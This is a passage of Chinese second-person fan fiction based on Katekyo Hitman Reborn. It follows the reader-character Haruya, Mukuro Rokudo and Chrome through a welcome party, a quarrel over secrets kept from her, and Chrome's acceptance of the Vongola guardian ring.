在太阳光下几近消失的蛛网一圈一圈缠在他包裹着黑手套的手指上,当时的他低下头,正好看到濒死的蝴蝶在黏腻浓稠的蛛网上垂死挣扎,莫名的,六道骸觉得和现在的场景有些诡异的相像。 椅子的后背阻碍了你的动作, 于是你抬手拍拍走神的六道骸,示意他往前探探。一直和你一起衡量着彼此的生命长度, 六道骸理所当然明白了你的意思。 戴着黑手套的手轻轻搭在你腰间, 另一只手扶着你的肩膀,六道骸缓缓朝你靠近,逼近的距离下,六道骸甚至能数清你有多少根睫毛。 这是一个很适合接吻的距离,六道骸漫不经心侧过脑袋,温凉的唇隐约掠过你的耳垂,他的声线慵懒而富有磁性,“kufufufu…这样可以吗?” 随着他动作的改变, 搭在他后背的尾辫温顺地垂落,而后似有若无地吸引着你的视线。 六道骸只拿皮筋简单扎了个低马尾,大约是才做完任务,没有扎得过紧的皮筋松松垮垮垂在发尾中。你慢慢掀起眼皮,六道骸正一眨不眨注视着你,他的蓝眼睛像沉寂的汪洋大海,不由自主的,你小小的身影犹如被蛊惑般奔向大海。 ——你在里面看到了无数的自己, 微妙的,你的指尖似乎和心脏同步颤动了下。 你率先移开了视线,倾身缓缓靠近,像是在拥抱,你的手穿过六道骸的臂膀,然后又轻轻勾起绷带一层一层圈起他。 你:“好了。” 裁断绷带,你打了个漂亮的蝴蝶结。 “五分钟快要过去了。” 忽然,你听到六道骸出声,他还保持着像是在拥抱你的姿势,你抿了下唇,还有事情想问,于是你开口:“骸,你……” 你最终还是没能问出口自己想问的问题,薄凉带着硝烟味的吻封住了你的所有疑问和信任,六道骸抬手托住你的脑袋,你们都没有闭眼,直到熟悉的烟雾再次出现,你隐约听到六道骸笑了下,微不可察的笑声透着你难以捉摸的情绪,你隐隐听到他说了一句意语。 时间太过仓促,你没能听清六道骸完整的话语,且你对意语又算不上精通,所以你只能自己一直反复咀嚼琢磨着他最后望向你的眼神。 从十年后回到十年前,你一时间还有些不习惯,等到你缓和过后,意外发现现场竟然没有一丝声音,疑惑地抬头望去,你只能看到犬和千种苍白着一张脸,像是经受了重大打击,连不知道什么时候跟过来的沢田纲吉的脸色也不是很好看。 “阿勒?大家怎么都不说话啊。哈哈哈哈一定是被蓝波大人的气场吓坏了吧!” 现场唯一没能察觉到奇怪氛围的只有一个还不到你小腿高的小孩,你低头看去,一只长得很像西兰花的小奶牛神气叉腰大笑,你不由想起了刚刚十年后的骸简单跟你说过的十年火箭筒。 难不成这个豆丁大的小牛崽就是波维诺家族的下任继承人?同时也是十年火箭筒的所有者? 你不免对这个世界的荒诞程度又有了新的认识。 “犬,千种?”你的注意力重新放在了面前的城岛犬和柿本千种身上,你不明白为什么城岛犬和柿本千种看到你会是这样一副苍白的表情,就连情绪很少外露的千种都表现出了明显的不对劲,你不由感到好奇和疑惑,“你们看到了什么?” 难道十年后的自己长得很吓人吗?想起十年火箭筒的基础设定,你忍不住往坏了猜测,“难不成十年后的我没出现?” …… “不,十年后的春也出现了。”最后,还是沢田纲吉打断了你越来越离谱的猜测。 只不过,十年后的春也完全像是变了一个人,沢田纲吉咽下了这句话,他不禁回忆起自己刚刚看到的画面。 恨意、痛苦、残留的不上不下的信任,组成了一个全新的扭曲的春也。 第112章 在你消失的一瞬间, 六道骸敏锐察觉到不对劲,他选择了最快的方式——附身库洛姆,然后, 六道骸直面了十年后的你。 …… 天空忽然变得阴沉, 层层乌云不断在头顶积压, 太阳光艰难地从乌云遗忘的间隙里钻出, 像教堂里圣洁的光芒,稀薄的阳光稳稳穿透残破的屋顶直直落到你身上。 今天你没有扎头发, 乌黑的发丝慵懒散落在你后背, 急骤的风呼啦啦跑进小破屋,搅的你乌发凌乱飞舞在半空, 十年前的你从未来回来站在众人面前,所有人都好似置身一场盛大的幻术中。 大家好像还沉浸在过去的五分钟里,你无法从他们的脸上看出未来的自己身上到底发生了什么,你忍不住抬头看向狂风波动的轨迹,然后天际处一片炙热耀眼的火烧云直直映入你眼帘。 灰蓝色的眼睛染上点点红色, 你低头重新望向面前那个紧张握紧手中三叉戟的女孩,她的手指上还戴着一枚精致的宽大戒指, 上面刻印着雾气的图章, 你大概能猜出她擅长什么。 似乎是察觉到你的视线,女孩不安地看向你,唯一露出的紫色眼睛像剔透干净的紫水晶,她乖巧地朝你露出一个笑容。 你不由揉了揉额头,挑剔地看了眼破破烂烂的黑曜乐园,你出声打破沉默:“这段时间你们就让她一个人住在这里吗?” 六道骸悄无声息离开了库洛姆的身体,城岛犬听到你的话,他下意识点了点头。你又望向柿本千种, 他的反应和城岛犬如出一辙,你简直要被这两个笨蛋气笑了。 你:“你们居然让一个女孩子一个人住这种地方?” 这又不是刚装修好的黑曜乐园,安全系数有保障。这是经过沢田纲吉和「复仇者」打斗过程的破败场地! 城岛犬不明白你为什么生气,他小声解释道:“库洛姆又不会出事。” 你难得不想理会笨蛋,不过……库洛姆…是这孩子的名字吗?还挺好听。 你还没想好该怎么安置库洛姆,下一秒,脸上就传来奇怪的冰凉触感。你抬起头,漂亮的火烧云不知何时消失得无影无踪,只留下阴沉浓密的乌云覆在你头顶。 ——一场暴风雨即将来临。 你的视线直直穿过犬和千种看向库洛姆,“要跟我走吗?” 库洛姆愣住,她呆呆仰头看着你,脸上红晕明显,库洛姆不自觉攥紧手里的三叉戟。她没怎么和同龄人相处过,见你还在等待她的回答,库洛姆缓缓点头,她朝你走近,然后握住了你伸出的手。 你抓紧了库洛姆的手向外跑去,“马上要下雨了,你先和我回家。” 再怎么说,你也不可能放任库洛姆一个人住在连雨点都遮不住的小破屋,更何况,她还是骸骸他们新认识的同伴至于犬和千种……反正那两个家伙不会淋雨即死,你才不要管他们呢。 你的速度还是不够快,走过一半多的路程后,大雨倾盆而至。豆大的雨珠噼里啪啦朝你们打来,狂暴的大风又使温和的雨珠多了几分杀伤力,你被雨糊了一脸,险些看不清眼前的道路。 脚踩过一个又一个快速积聚的水洼,你们终于赶到了家。 雨水淋湿了你和库洛姆,湿答答的衣服紧紧贴着身体,你看到了库洛姆瘦弱到吓人的小身板,眉头皱起,你连忙推着她进了家门。 库洛姆不放心地回头,却只看到一片茫茫雨帘。她抿了抿唇,担忧道:“犬和千种还在外面。” 你冷哼一声:“管他们呢,又不是记不住家门的流浪犬。” 库洛姆忽然瞥了你一眼,眨了下大眼睛,察觉到你的坏心情,她没有再说话了。 一进门,和子就高高翘起尾巴热情地和你打了个招呼,你敷衍地揉揉小猫脑袋让它自己去玩,然后拿起门口衣帽架上的毛巾,下一秒,柔软干燥的大毛巾一下遮住了库洛姆的脑袋。 见库洛姆慢吞吞伸出手虚虚抓着毛巾,以为她有洁癖,你解释了一句:“这毛巾只有我一个人用过,刚洗过。” 虽然很多东西你都会和骸骸他们共同使用,但这并不代表你没有只能自己一个人使用的东西。 库洛姆对气息很敏感,鼻尖轻轻嗅着毛巾上香味,是前不久她刚从你身上闻到过的味道。 听到你的话,回过神的库洛姆忽然意识到自己现在的行为有些变态,她悄悄抓紧了毛巾,“嗯。” 和你想象的不同,库洛姆看着乖巧软萌,实际声音却很御姐,看她慢吞吞擦拭着自己的头发,你也随意拿起一条毛巾潦草擦了几下。 屋外狂风暴雨的喧嚣声中和了几分屋内的寂静,忽然,一道闪电劈亮阴沉的天空,紧跟其随的沉闷雷鸣震得天地都在颤动,而后,雨更大了。 你听着雨珠劈打在窗户上的白噪音,然后,库洛姆挪动两步,她缓缓站定在你面前。 “库洛姆,我叫库洛姆。” 湿发柔顺垂在她锁骨前,库洛姆还没有完全擦拭干,由发根流下的水珠缓缓凝聚在紫色发尾,而后悄然坠落没入她的锁骨。 你不知道她为什么突然向你介绍起了自己,盯着库洛姆纯粹真挚的大眼睛看了半天,你并没有在里面看出什么不好的情绪,看她还红着脸盯着你不放,你忽然有些气闷。登登往前走了两步不让她看你,你别扭地开口,“今春也。” 库洛姆认真开口:“我是在梦境里无意见到骸大人的。” 一路上,库洛姆思考了很久,或者说,早在知道你的存在后,库洛姆就一直处在思考中。 骸大人的态度模棱两可,犬和千种又出于她不知道的原因在犹豫,但库洛姆一直觉得瞒下去不是长久之事。没有什么是可以被隐瞒一辈子,库洛姆从她父母身上清楚明白了这一点。 所以,库洛姆认认真真思考了很久很久,在她终于鼓起勇气想要见你一面时,你就像蓬松柔软的蒲公英一样突兀又惊喜地出现在了她的面前,然后又突然的消失,但很快,你又再次出现了,就像春天的蒲公英再次顺着风的痕迹生根发芽开花。 有那么一瞬间,看到你,库洛姆真切感到了开心。尽管她暂时无法分清那时的情绪究竟是属于她自己的还是骸大人的。 第113章 “那时, 我出了车祸,是骸大人给了我新的希望和生命。” 大雨和狂风交织,库洛姆安静坐在你房间的吊椅上, 她缓慢诉说着她知道的事情, “其实, 我和犬、千种也才认识不到一周, 骸大人用幻术维持着我的生命体征,稳定后我才开始行动。” “我刚到并盛没多久, 也只偶尔从犬和千种的嘴里听过你。” 听到这里, 一直沉默的你终于有了反应。 你当然不会在意别人的评价,但是犬、千种和别人不一样, 他们是你的家人,你难免会好奇犬和千种他们怎么想你。 ——而现在你恰好有了这个机会。 乌发的发丝安静垂落遮住了你的眼睛,库洛姆侧过头,她看不清你眼底的表情。 你的怀里还抱着微笑的凤梨玩偶,不轻不重捏着它的凤梨叶子, 你想不出犬和千种谈论你时的模样。 “估计是暗戳戳说我坏话呢。” 库洛姆短暂回忆了一秒,她摇了摇头, “不是坏话。” “犬说你总是不会好好照顾自己。” 这完全是犬会说的话, 甚至他都不需要背着人,当着你面的时候,犬就惯常会一边骂骂咧咧抱怨,一边手把手凶巴巴监督你。甚至在和千种商讨后,犬完全把自己放在了类似导盲犬的位置上。 ——尽管你不是盲人。 库洛姆:“经常会忘记吃饭,受了伤不知道包扎,像笨蛋,犬说只有他才能好好保护你。” 你冷哼一声:“只有笨蛋才会说别人笨蛋。” 库洛姆笑了下, 她还记得当时自己刚从医院出来,坐在小小的角落里,她悄悄听着犬和千种的交谈。 零食袋撕开的响声、碎碎念的抱怨和轻松惬意的眉眼,库洛姆得以从中窥见你们的幸福平和的日常,以至于她也忍不住想要更多地倾听你们之间的故事。 库洛姆侧过身子,她静静看你孩子气地揪着凤梨叶子,库洛姆忽然感到了前所未有的放松。 没有父母的争吵、自己不会再成为某种负担、拥有了可以坚定走下去的目标……也许未来,她还会和你一直生活在一起,说不定到那时就是她来和犬、千种分享你的点点小事和小习惯。 只要想想,库洛姆就觉得很幸福了。 而现在,她只是一个普通的转述人。 “千种很少说话,唯一一次,他说希望你和他们能永远在一起。” 你抿了抿唇,没有再说话。 从监狱出来后,千种明显更黏你。他总是喜欢安静靠着你,或者在不同的地方观察你,只有你一回头,总能看到他安静沉默的身影。 梦魇时,千种也不会吵醒你,他只会独自一人蜷缩着身体大口大口喘着气,额头冒出细汗,直到你醒来抱过他,柿本千种才会卸下所有伪装的安静抱紧你。他会贴在你耳边小声低语,像找不到家的流浪小狗,在你耳边一遍一遍宛若念咒语一般说着不要离开,而你也会一遍一遍和他说着永远。 库洛姆弯着眼睛,“犬和千种都很喜欢你,其实我说错了一点,犬和千种虽然不常提你,但只要说到你,他们的话题根本停不下来。” “在他们的言语构筑下,我的心底也缓慢勾勒出一个影子,通过他们的描述,我竟然也产生了一种想要见见你的念头。” 说着,库洛姆忽然扭头看向你,如紫水晶般澄澈的眼睛专注看着你。很奇怪,库洛姆在你身上感受到了和骸大人一样的安心气息。 库洛姆其实并不怯懦,她不只是不知道该怎么和人正常相处,偶尔她也喜欢一个人呆在静谧的角落放空自己,但是很奇怪,意识到自己喜欢你、想见你后,库洛姆竟然一点都不觉得慌张,甚至从产生想见你的念头起,她就一直在期待。 直到终于和你相见,库洛姆终于见到了真正的你。 ——不是活在犬和千种言语里的你,而是她可以真正用自己的言语描述的你。 “春也。”库洛姆抿了下唇,她的声音像春日的柳絮,轻飘飘吹散在暴风雨里,“我可以这样叫你吗?” “当然可以。”你也笑了下。 “那你现在还生气吗?” 门外传来了若隐若现的脚步声,你和库洛姆同时抬头,显然,你们还发现有个笨蛋暴露了自己紧张的呼吸声。 你故意停顿几秒,眼见呼吸声都要紧张没了,你朝正等待你回答的库洛姆眨了下眼。像只恶劣的大坏狐狸,你笑得狡黠,“等犬和千种回来收拾好你的房间,我再考虑吧。” 然后,又是一阵窸窸窣窣的声音,他们走远了。你和库洛姆对视一眼,然后默不作声地一起弯了弯眼睛。 “我想,他们只是还没想好该怎么和你说。” 库洛姆很聪明,她隐约从犬、千种以及骸大人微妙的态度里看出了某种奇怪的东西,时不时跳动的第六感告诉她,那绝对称不上是一件对大家都好的事情。 库洛姆不知道那是什么,她只希望你可以不要受到伤害。 目光落在你身上,很奇妙的,这点时间的相处已经让库洛姆对你产生了好感。 “我的存在……” “很好哦。”你打断了库洛姆即将说出口的话,身体前倾抓住她的手,你认真道:“是一个大惊喜。” 库洛姆呆呆看着你,半晌,她露出了一个柔软的笑容。 你没有选择立刻出去,而是先和库洛姆在房间打了几盘游戏。计算好打扫的时间,你这才慢悠悠打开房门出现,恰好此时,脸上残留着灰尘的犬也从旁边的房间里出来了。 看到你,城岛犬眼睛一亮,你相信如果犬身后有尾巴的话,现在一定会像个螺旋桨疯狂摇晃起来。 “春也,我和小柿把旁边的空房间腾出来了!” 像是邀功,城岛犬很快窜到你面前,金色的眼睛亮晶晶的,像灿烂的太阳花,但很快,发现你脸上依旧没有笑容后,城岛犬原本灿烂的笑容焉巴下来,他小心翼翼站在你面前,神情无措地看向你。 “春也。” 与此同时,听到动静后的柿本千种也走了出来,他的手里还拿着湿漉漉的抹布,柿本千种慢吞吞走到你面前,你莫名从他平静的声线里听出了几分乖巧。 “是给库洛姆的房间,我和犬有好好按照春也的话做。” 从暴风雨里赶回来,犬和千种身上都湿透了,很明显,他们在听到你的话后直接先去打扫了库洛姆的房间,连自己都没顾上。 两个人眼巴巴盯着你,看到这样的犬和千种,忽然的,你心里一直憋着的气就像一团雾,因为眼前可怜巴巴的落水小狗,轻飘飘地散了。 太狡猾了,你叹了口气,从房间里给他们拿了干净的毛巾,你重重揉了揉他们湿答答的脑袋瓜,“好吧,下不为例。” ——你总是无法真正生他们的气。 第114章 意外的, 你并不讨厌库洛姆。所以,坦白局后,你决定给库洛姆举办一个简易的欢迎会。 昨夜的骤雨来得急去得也急, 第二天起早, 你拉开窗帘, 外面果不其然是个超级大晴天。幸运的是, 城岛犬和柿本千种并没有因为昨夜的淋雨而感冒。 柿本千种早就起床了,你叫醒还想赖床的犬, “犬, 你忘了我们今天还要搞欢迎会了吗?” 城岛犬抱着被子蛄蛹了一圈,知道你不生气后, 他又恢复了以往没心没肺的模样。带着浓浓的睡意,城岛犬懒洋洋拖长尾音,“知道啦——” 城岛犬的动作很快,等到你洗漱完、连头发都打理好后,他穿戴整齐出现在你面前。你们走下楼时, 库洛姆已经坐在餐桌上乖乖等待开饭了。 柿本千种时间掐的刚刚好,等你们下来, 粥的温度正好入口。 你吃饭的速度不算快, 抬头看了眼桌上的人数,你突然开口问道:“骸骸呢?” 最近几天六道骸神出鬼没,作为资质优异的幻术师,很少能有人找寻到他的踪迹。 柿本千种挖肉松的手一顿,短暂回忆片刻,柿本千种很确认骸大人最近没有联系他,或者说,从十年后的你出现后, 附身库洛姆的六道骸就有些不对劲了。 想到十年后的你,柿本千种的神情微不可察变得晦涩,“骸大人没有说他去了哪里。” “不过并盛最近似乎多了一波奇怪的人,骸大人估计是去探查他们的底细了。” 你:“多了一波奇怪的人?” 提到这事,城岛犬也想起来了,他嘴巴一快,“好像跟彭格列有关,上次彭格列的十代目还因为这事受了点小伤。” 城岛犬尾调上扬似乎,还带了点幸灾乐祸。你不动声色看了他们一眼,柿本千种没有反驳,意味着他也赞同犬的猜测,你淡淡垂下眼睛一口喝完剩下的所有白粥。 错觉吗? 和之前对比,犬和千种对彭格列的态度似乎有些微妙。 不过你也没有把这放到心里去,大概是你最近神经有些敏感了。 陶瓷碗碰在桌面发出轻响,你看向已经吃好的库洛姆,“库洛姆,我们走吧。” 昨夜你们分配好了任务,你带着库洛姆出去买零食转移视线,城岛犬和柿本千种在家里搞布置和食物。 柿本千种安静把你们送到门口,他忽然抬手摸了摸你的脑袋,手放下时无意遮住了一秒你的下半张脸,柿本千种望着你干净的眼睛,他突兀地想起了十年后那双冰冷沉寂的蓝眼睛。 说实话,柿本千种其实并不清楚骸大人现在究竟是什么想法,不过唯一可以确定的是,骸大人目前暂时还没有放弃夺走彭格列十代目的身体,但骸大人也默不作声地任由库洛姆接下了那枚戒指。 如果没有十年火箭筒,柿本千种可能还做不到这么肯定未来会发生不好的事情,但是…… “记得早点回家。” 柿本千种无法干涉六道骸的想法,他想过和你谈论彭格列这个话题,可每次准备张口时,他又莫名退缩了。 无名的害怕和恐慌像藤蔓疯狂在他心里蔓延,柿本千种从未思考过春也讨厌他该怎么办,这个假设从一开始就不会成立。 和库洛姆逛街的体验感还算不错,买完大家喜欢吃的零食,你们准备打道回府,路过一家玻璃橱窗时,你忽然止住步子,目光落在女模特手上展示的大颗钻戒,像是想到什么,你低头看向库洛姆抱着纸袋子的手。 ——上面赫然戴着一枚银色戒指。 “库洛姆的这枚戒指很好看呢。”出于莫名的直觉,你不经意地问道:“是从哪里买的?” 库洛姆下意识想把自己的手藏起来,但她抱着纸袋子,一时之间只好任你细细观察,犹豫了一会,库洛姆轻声说道:“是别人送过来的。” ——代表彭格列的雾守戒指。 这个是骸大人明确不允许她和你说的事情,虽然犹豫,但库洛姆还是不会违抗六道骸的命令。 “是很特殊的人吗?” 库洛姆不确定地回答:“应该算是吧。” 你若有所思地收回目光,没有再问。 今天是工作日,一路上你都没碰到什么熟人,也没看到城岛犬口中形迹可疑的另一波人。低头小心绕过水洼,你盯着小水洼里自己的倒影,除了一片雾蒙蒙的天空,你什么也看不到。 很快,你们一路畅通无阻地到了家。你早在快到家的时候就放慢步伐让库洛姆走在你前面,慢悠悠落在后边,你看到库洛姆站在门口安静等你,直到你站在她旁边后,库洛姆才轻轻推开大门。 “砰!” 礼花绽放,库洛姆置身惊喜中,她不由惊讶地瞪圆眼睛,嘴巴微微张开,库洛姆愣愣看着推到她面前的大蛋糕和礼物盒子,紫水晶般的眼睛缓缓盈满了点点泪光。 “欢迎你的到来,库洛姆。” 你把零食放在地上,拿出准备好的花环戴在库洛姆头上,你轻轻向前推了推她的后背,“去开启你的欢迎会吧。” 你们在库洛姆的欢迎会上玩得很开心,甜腻洁白的奶油擦在每个人的脸上,分食着属于自己的小蛋糕,等到欢迎会接近尾声时,六道骸终于出现了。 第115章 六道骸的出现把原本快要的结束的宴会推向了一个新的高.潮。 “骸大人!” 三道不同的声音响起, 他们的反应可比你激动多了。 你瞥了六道骸一眼,没有理他。虽然你是有说过不生气的话啦,但仅限于在你面前求原谅的犬和千种, 没来见你并且没有给你一个解释的骸骸可不在这里面。 六道骸神态正常地朝你走来, 他不知道从哪买了一副黑手套。修长苍白的手指藏在黑手套里, 只露出一小截白净的手腕。 手指轻轻搭在你的椅背, 像变戏法一样,一个红丝绒的礼盒静静呆在他手掌心, 六道骸轻缓低沉的声音在你耳边响起, 带着细微的笑意,酥麻了你的耳根。 “打开看看。” 你故意别过脑袋不去理他, 六道骸动作微顿,单手扣在礼盒开口,大拇指轻轻用力,“咔哒”一声,盒子开了。 被声音吸引, 你微微侧过脑袋,一枚靛青色的耳钻正安安静静呆在丝绒布上, 灯光下, 耳钻闪着夺目的流光,你挑眉冷哼,“这算什么,道歉礼物?” 六道骸敛下眸中思绪,他淡淡瞥了眼在一旁竖起耳朵认真听的几个人,六道骸脸上也没露出讶异的表情,“库洛姆已经把事情都和你说了?” 六道骸脸上情绪平静,尽管你知道这是因为他一向把自己的情绪感情隐藏得很好, 但你忽然就觉得好生气好难过好不开心。 你反问:“如果她不说,我要等到什么时候才会知道这件事?” “过去你们从来没有试图隐瞒过我任何事情。”不论是过去覆灭黑手党的举措还是他们对敌人丝毫不手软,六道骸每次都会缓缓和你诉说他们做过的每一件事,每个活动背后也都会有你的影子。 听到六道骸依旧没什么变化的语气,你忽然感到生气和难过,拍开六道骸的手,你站起来,面无表情地说道:“你觉得我不该知道吗?还是你觉得库洛姆不应该告诉我?” “家人之间难道应该有所隐瞒吗?” “还是……”努力绷着情绪,你难过又不解地看向六道骸,“你觉得我的存在已经没有那么必要了?” 六道骸瞳孔皱缩,漆黑的瞳仁里倒映着你难过的情绪,六道骸抬手拉住你,压抑着心脏处传来的密密麻麻的痛意,六道骸打断了你的话,“不,春也怎么会这样想?” 你也不知道为什么,本来你已经好好地调节好了自己的情绪,但是一看到六道骸,这些天被隐瞒的压抑情绪像降到极点的蹦床,嗖的一下重新窜到最高点。 压着颤抖的声线,你冷静到极致,“我说过的,我最讨厌欺骗了。” “本来我以为,你一回来会先和我解释,我不相信犬和千种没有跟你提过。” 说着,你看了眼无措站在原地的库洛姆和不知道该说什么的犬和千种,左手握住六道骸抓着你的手,你缓慢的、 一点一点掰开他的手指,“我现在很生气。” “我觉得我们需要冷静一下。” 六道骸平静的表情消失了,他完全知道当一个人说出她要冷静一下时是一个多么危险的信号。 “等等——” 但你这次完全没有给他机会,你甩开了六道骸想要再次拉住你的手,你凶巴巴地扭过头命令道:“不许跟着我!” “我现在一点也不想看到你讨厌的脸。” 六道骸沉默,他静静看着你离开家门,在城岛犬和柿本千种杂乱的说话声中,六道骸忽然起身追了上去。 柿本千种及时拉住了从一开始就想跑出去的城岛犬,在后者愤怒的“你为什么要拉着我”的抱怨声中,柿本千种缓缓开口,“让骸大人把事情跟春也说清楚,犬不要打扰他们。” 库洛姆担忧地望着你们消失不见的背影,她喃喃开口道:“骸大人这次会好好说清楚吗?” 沉默片刻,柿本千种低声说道:“如果骸大人不希望十年后的事情发生的……” * 你生过犬、千种、骸骸很多气。 以命搏命不在乎身体、对你一日三餐的严格把控、独自面临可怖的「复仇者」……但很快,那些生气、那些愤怒与悲伤就像儿童的简笔画,只要大家好端端站在你面前,那些讨厌的、不开心的负面情绪就像是用橡皮轻轻擦拭过一般,消失得干干净净。 你承认,你就是喜欢着犬、千种和骸骸,所以你根本舍不得真正生他们的气,你总是会心软,而大家也没有真正意义上惹你生气过。 但这一次不一样。 ——你讨厌欺瞒。 本来你已经不在意了的…… 一个人默默坐在公园的秋千上,脚尖点地,你轻轻晃动着秋千。 暴雨过后的空气异常清新,混杂着泥土和芳草的清香,你低头安静看着水洼里倒映的天空,生命力旺盛的水生昆虫不知何时悄悄潜入了这片水洼,引得原本平静的水面漾起一圈圈小小的波纹。 水影里,灰蒙蒙的蓝天皱巴巴的,你往后坐了坐,没有让脚尖触碰到那片皱巴巴的悲伤蓝天。 忽然,静谧的环境里突兀出现一道脚步声,脚步声的主人似乎是故意让你知道他的到来,他没有隐藏自己的踪迹,直到一只戴着黑手套的手覆上秋千的一边锁链,你在皱巴巴的蓝天里看到了一只同样雾蒙蒙的蓝眼睛。 你凶巴巴道:“不是让你不准跟上来吗?!” 身后传来一阵不甚明显的轻笑,你听到他缓缓拉长语调,“kufufu…我可不是听话的小狗。” 很好,来了还不安慰人,罪加一等! 在你绞尽脑汁组织更加恶劣难听的词汇时,六道骸再次开口了,“库洛姆的事情,我本来想找一个恰当的时机让你知道她。” 六道骸最近偶尔会和紧追不放的云雀恭弥打架,同时还调查了番正大光明引起小轰动的外来人员,然后又去了其他地区日常解决黑手…… 被沢田纲吉打败后,六道骸罕见地陷入古怪的情绪,他当然不会放弃夺走沢田纲吉的身体,但…… 视线缓慢落到你身上,六道骸脑海里不期然想起了十年后的你。他很清楚,如果保持原状,那么它就会是你们未来的结局。 “……我没想过这件事会对你造成这么大的影响。” 你听到六道骸缓缓叹了口气,裹着黑手套的手轻轻覆上你的手,下一秒,你的秋千忽然一重,低下脑袋,你看到六道骸单膝跪在秋千上。右膝盖不远不近地贴着你的大腿,他缓缓俯身,低沉带着磁性的嗓音像大提琴慢慢在你耳边响起。 “抱歉,春也。” “是我不对。” 六道骸边说,边拿出了你刚刚拍开的耳钻,“这是我挑了很久的,它的颜色和你很般配。” 你轻哼:“以为这样我就会原谅你了吗?” 刻意放轻声音,微哑的声线恰到好处勾起你的喜欢,缓缓眨了下眼,六道骸和水影中的你安静对视,“那我该怎么做,春也才会原谅我呢?” 黑手套的材质很特殊,温热的体温透过手套缓缓传递到你手背,听着六道骸勾人的尾调,你忽然转过身体吗,抬手捏住他的下巴,你看到六道骸顺着你的力道弯下腰,漂亮的异瞳里倒映着你的影子,你恶劣地开口:“我记得你刚刚说自己不是听话的小狗?” “但是怎么办呢,我现在就想听狗叫。” 六道骸眨了下眼,他张开嘴,你的指尖恰好落在他唇角。稍稍低头,六道骸慢条斯理地叼住你的指尖,牙齿不轻不重磨了下你的指腹,红蓝异瞳从下而上缓慢掀起眼皮,然后,六道骸缓缓从喉间发出一声微哑的“汪”。 第116章 你承认, 小狗骸成功让你消气了,但你可不想就这样轻易原谅了他。万一这次轻飘飘揭过后,下次他们隐瞒了你更过分的事情怎么办?你需要让骸骸知道你的态度! 所以, 你只是伸出一根手指轻飘飘戳在六道骸软乎乎的脸蛋上, 微微后仰, 你努力绷着表情, 没有让自己泄露一丝一毫带有心软信号的情绪。 “那么,提问——” 脑海里突兀闪过库洛姆的戒指, 回忆起犬和千种过去的古怪态度, 情绪正常后,你的大脑再次上线。你眯起眼睛, 敏锐的直觉告诉你,仅仅只是库洛姆的存在远不足以犬和千种奇奇怪怪隐瞒你。 正如犬、千种和骸骸了解你一样,你也同样了解着他们。 捏起六道骸的下巴,你仔细盯着他的眼睛,努力不放过他脸上的任何一个表情。 “骸骸还有事情瞒着我吗?” 自然, 你也看不出什么。不管是情绪管理还是表情管理,六道骸都比你强多了, 在他故意扮无辜时, 就算是拥有超直感也能被这芝麻馅的家伙欺骗过去。 所以,你缓缓加重语气,表情严肃又认真地一字一顿说道:“这一次我也许会原谅你们,但是下一次,如果再次被我发现大家有半点隐瞒迹象……” 你没把话说完,但你知道聪明的六道骸完全能理解你的意思。 你注视着他的眼睛,轻声说道:“不要骗我,骸。” 「你一直都在欺骗我, 六道骸。」 六道骸望着你认真的表情,刺眼的日光模糊了他的感官,恍惚间,你轻飘飘的声音变成了另一种更为压抑痛苦的声音。 太阳光映射下的光斑恍惚着他的视网膜,六道骸眨了下眼,他想要看清你的脸,然后,十年后的你出现在了他面前。 褪去了信任与爱意的灰蓝眼瞳染上雾蒙蒙的恨,六道骸听到你的心脏不再为他跳动。 他试图找寻十年间的真相,努力跨过一道又一道的山丘,六道骸穿梭在十年前后,直到某天他猛然回头,看到十年后的你就站在他面前,裹着不上不下的爱与恨,六道骸听到你在说话。 「你骗了我。」 「我再也不会原谅你了,骸。」 「你加入了彭格列……你背叛了我……和犬、千种一起,你们都背叛了我……」 六道骸忽然什么都明白了。 他想说他这么做只是为了夺取彭格列十代目的身体,他想说他十年后也有一直在努力清理黑手党,他想说…别走…… 但是你已经听不到了,十年后的你只是一道幻影,一道再也不想理他的真实幻影。 而现在,六道骸重新触摸你,他真切地感受到你还在他掌心下呼吸,你的心脏还在为他跳动着,六道骸喜欢这样的你。 你静静等待了好一会儿,见六道骸只是安静垂着眼睛,你狐疑歪头,“骸骸已经没什么想和我说的了吗?” “……不。”又等待了一会儿,六道骸终于开口了。 说真的,你那么说其实也只是想炸一下六道骸,没想到他还真有别的事情瞒着你,你冷笑道:“好啊,你果然还有事情瞒着我?!” “坦白从宽,抗拒从严!” 又是一阵沉默,直到你再次捏着六道骸的下巴抬起,你才终于听到他的声音,“库洛姆收下了彭格列的守护者戒指。” 像是没听清,你愣住,“什么?” 六道骸看着你的眼睛,缓缓说道:“我没反对。” 第117章 暴雨过后, 清凉的风里好似还裹挟着昨日的雨汽,你坐在秋千上,头顶灿烂的太阳照进头顶高大茂密的树木, 然后轻轻揉开一圈一圈光斑。 你抬头看向六道骸, 圆形小光斑跟着风的踪迹晃晃悠悠落在他脸上, 六道骸依旧保持着刚才的姿势没有动弹, 你感觉自己的大脑好像在一瞬间忽然宕机。 “守…护者……?”虽然你不知道守护者是什么意思,但是彭格列、守护者和戒指这几个单词联合在一起, 饶是再不聪明的人也能明白里面最浅层的含义。 你愣愣移开手, 声音莫名干涩,“库洛姆…加入了彭格列?” 其实你更想说另外三个人的名字, 但是好奇怪,往日能流利脱口而出的名字,在这个时候你竟然罕见地难以准确叫出他们的名字。 “不是加入。”六道骸慢慢和你说出了他的想法,“是卧底。” “春也知道的,我一直都没有放弃夺取沢田纲吉的身体, 而打败一个敌人最好的方式就是了解他、渗透他。” 你静静听着六道骸的野心,忽然, 你开口道:“那你呢?” 六道骸愣住, “什么?” 你抬头直直看向他的眼睛,试图从那里抵达到他心脏的入口, “你也收下了那枚戒指…你加入了彭格列……” “库洛姆和我说过,她现在还活着全靠你的幻术支撑,她的身体对你来说是一个绝佳的容器。” 你当然知道容器说法并不是六道骸的真实想法,但从这个层面解读,这意味着—— “库洛姆的背后是你,骸。” 虽然没接触多久, 但你看出库洛姆和犬和千种一样,都是完全跟随六道骸的命令行事,很多时候,库洛姆、犬和千种的行为态度都可以代表六道骸本人。 “kufufu…不,春也,你说错了一点,我可没有加入那些肮脏的黑手党。“六道骸古怪笑了两声,他也确实不认为自己加入了可恨的黑手党。 你不理解,“为什么夺取沢田纲吉的身体要选择加入敌人的大本营?” 想到那个危险的小婴儿,你补充道:“我可不认为那个小婴儿会完全信任我们,如果你的目的是毁掉黑手党,毫无疑问,你是在给你的目标上难度。” “kufufufu…春也是在担心我吗?”六道骸似乎并不在意里包恩的危险,他眯起眼睛缓缓道:“他可做不到轻易出手呢。” 听着六道骸的话,罕见地,你没有被蛊惑,你把话题倒退到一开始,“如果只是卧底,那你为什么要接受彭格列的守护者戒指。” 